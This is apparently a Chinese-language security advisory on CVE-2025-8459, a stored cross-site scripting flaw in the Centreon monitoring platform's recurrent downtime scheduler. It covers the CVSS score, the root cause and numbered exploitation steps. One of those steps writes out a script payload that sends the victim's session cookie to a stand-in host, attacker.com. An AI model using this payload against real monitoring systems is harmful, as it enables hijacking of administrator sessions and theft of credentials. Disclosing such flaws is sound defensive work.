CVE-2025-8459CVE-2025-8459是Centreon基础设施监控平台(Infra Monitoring)中监控定期停机调度模块(Monitoring recurrent downtime scheduler modules)存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞源于Web页面生成过程中对用户输入的不当中和处理(Improper Neutralization of Input During Web Page Generation),属于OWASP Top 10中常见的注入类安全缺陷。
Centreon是一款广泛使用的开源IT基础设施监控解决方案,被大量企业用于监控网络设备、服务器和应用程序的运行状态。该漏洞允许具有低权限认证的攻击者将恶意JavaScript脚本注入到监控定期停机调度功能中,由于是存储型XSS,恶意载荷会被持久化保存在服务器端,当其他用户(包括管理员)访问相关页面时,恶意脚本将在受害者浏览器中自动执行。
该漏洞的CVSS 3.1评分为7.7分,属于高危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),需要低权限认证(PR:L),无需用户交互(UI:N),且存在范围变更(S:C),对机密性影响为高(C:H),对完整性和可用性无直接影响。攻击者可利用此漏洞窃取管理员会话凭据、获取敏感监控数据,或在受信任的监控平台上下文中执行进一步攻击。
该漏洞存在于Centreon的监控定期停机调度模块中,属于典型的存储型XSS缺陷。其根本原因是应用程序在处理用户提交的与定期停机计划(recurrent downtime schedule)相关的输入字段时,未对输入内容进行充分的HTML/JavaScript编码或过滤,导致恶意脚本被直接存储到后端数据库中。
当合法用户(尤其是具有更高权限的管理员)查看或管理这些停机调度配置时,服务器从数据库中读取并渲染存储的数据,恶意脚本将在受害者浏览器上下文中执行。由于Centreon监控平台通常部署在企业内网核心位置,管理员会话被劫持后,攻击者可获取对整个IT基础设施监控系统的控制权。
利用方式如下:
1. 攻击者使用低权限账户登录Centreon Web界面;
2. 导航至监控定期停机调度配置页面;
3. 在相关输入字段(如停机原因描述、调度名称等)中注入恶意JavaScript载荷,如`<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>`;
4. 提交配置后,恶意载荷被存储到后端;
5. 当管理员或其他用户查看该调度配置时,脚本自动执行,实现会话劫持或敏感信息窃取。
由于攻击复杂度低且无需用户交互,该漏洞可被自动化利用,对企业监控基础设施构成严重威胁。